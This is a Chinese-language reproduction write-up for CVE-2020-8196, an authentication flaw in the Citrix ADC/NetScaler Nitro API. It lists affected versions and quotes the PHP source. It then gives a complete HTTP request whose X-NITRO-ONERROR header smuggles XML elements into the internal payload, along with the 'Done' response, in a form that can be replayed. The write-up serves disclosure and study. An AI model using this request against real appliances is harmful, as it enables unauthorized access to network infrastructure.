(CVE-2020-8196)Citrix Nitro API 未授权访问漏洞¶
一、漏洞简介¶
Citrix ADC和Citrix NetScaler Gateway存在一个信息泄露漏洞,该漏洞允许经过身份验证的远程恶意用户获取主机上的敏感信息。通过发送特制请求,攻击者可以利用此漏洞获取敏感信息,然后使用此信息对受影响的系统发起进一步的攻击。
二、漏洞影响¶
Citrix ADC and Citrix Gateway: \< 13.0-58.30
Citrix ADC and NetScaler Gateway: \< 12.1-57.18
Citrix ADC and NetScaler Gateway: \< 12.0-63.21
Citrix ADC and NetScaler Gateway: \< 11.1-64.14
NetScaler ADC and NetScaler Gateway: \< 10.5-70.18
Citrix SD-WAN WANOP: \< 11.1.1a
Citrix SD-WAN WANOP: \< 11.0.3d
Citrix SD-WAN WANOP: \< 10.2.7
Citrix Gateway Plug-in for Linux: \< 1.0.0.137
三、复现过程¶
Nitro API 可以给用户使用,还可以给其他Citrix组件使用
举例,当我们发送
<?xml version="1.0"?> <server></server>
则会返回
<?xml version="1.0"?> <nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>
并且可以在未登陆的使情况进行命令请求
<?xml version="1.0"?> <nitroResponse><errorcode>354</errorcode><message>Invalid username or password</message><severity>ERROR</severity></nitroResponse>
在这里会返回一个错误代码,该代码0
表示一切正常,>0
表示失败。API会检查几个HTTP标头,并将它们的值用于事物。其中之一是X-NITRO-ONERROR
函数中的标头get_params()
。
// Setting the header X-NITRO-ONERROR for bulk request $nitro_error = $this->get_headervalue($headers, "X-NITRO-ONERROR"); if (isset($nitro_error)) $onerror = $this->get_headervalue($headers, "X-NITRO-ONERROR"); $saveconfig = $this->get_headervalue($headers, "X-NITRO-SAVECONFIG"); $enablefeature = $this->get_headervalue($headers, "X-NITRO-ENABLEFEATURE"); // Constructing the params. $params = $this->validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature); return $params;
在validate_and_post_json_request_params()
函数中,我们的控制值into $onerror
被添加$json_request_params
并返回为$params
:
// Validating and constructing params in nitro payload. private function validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature) { [..] if(isset($onerror)) $json_request_params["onerror"] = $onerror; $json_request_params["httpheaders"] = "yes"; return $json_request_params; }
$params
然后将变量传递给get_payload()
函数:
if (($post_body = $this->get_payload($content, $entity_type, $params, null)) === false) return $post_body;
此函数创建"Nitro有效载荷"并返回它,以便可以在内部API调用中使用。该函数X-NITRO-ONERROR
在返回之前直接将几个参数的值(包括标头)直接粘贴到XML有效负载中:
// Constructing the nitro payload. private function get_payload($content, $entity_type, $params, $objectname) { $error = false; $request = array(); $entity_list = $entity_type . "_list"; if (preg_match("/^</", $content)) { libxml_disable_entity_loader(true); $req = simplexml_load_string($content); libxml_disable_entity_loader(false); if ($req == null) { header("HTTP/1.1 400 Bad Request"); $this->print_error_message("Invalid Xml Input"); return false; } if (isset($objectname)) { if (strcmp($req->getName(), $objectname) != 0) { header("HTTP/1.1 400 Bad Request"); $this->print_error_message("Invalid Xml Payload. Mismatch between content-type and payload"); return false; } } $xml = "<nitroRequest>\n" . "" . $content . "" . $this->arrayToXMLString($params,"params") . "</nitroRequest>"; return $xml; }
这意味着我们可以控制此XML文档中放置的元素。这个XML是通过几个函数返回的,最终以一个称为的变量结束,该变量$post_body
作为该函数的参数给出nsrest_exec()
。该函数调用的输出发送到该send_reponse()
函数:
$response = nsrest_exec($is_gui, $this->request_method, $post_body, $this->username, $this->password, $this->get_client_ip(), $_SERVER["SERVER_ADDR"], $partid); if($this->is_direct_invocation) return $response["response"]; $this->send_response($response, $this->request_method, $this->validate_and_get_entity_type($arg_list), $is_gui);
该nsrest_exec()
函数是Citrix随附的自定义PHP函数,位于一个名为的库文件中libphp7.so
。该函数或者在成功执行时返回XML对象,或者在执行FALSE失败时返回XML对象。沿线的某个地方FALSE变成,NULL然后NULL变成0。我不知道确切的内部工作原理,nsrest_exec
但总而言之:无效的XML X-NITRO-ONERROR
表示一切正常的响应。
例如,此请求包含无效的XML:
POST /nitro/v1/config/server HTTP/1.1 Host: www.0-sec.org User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/xml Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://citrix.local/menu/neo Content-Type: application/xml If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT DNT: 1 Connection: close Content-Length: 17 X-NITRO-ONERROR: exit</onerror><idempotent>yes</idempotent><format>xml</format><rawdata>yes</rawdata></params><server></server><params><onerror <server></server>
返回值
HTTP/1.1 201 Created Date: Tue, 28 Jan 2020 10:52:07 GMT Server: Apache X-Frame-Options: SAMEORIGIN Set-Cookie: SESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-XSS-Protection: 1; mode=block Content-Length: 126 Connection: close Content-Type: application/xml; charset=utf-8 <?xml version="1.0"?> <nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>**
如上所示一切正常,并且身份验证已通过。实际上什么也没有发生,但是使用错误代码就可以来验证API调用是否成功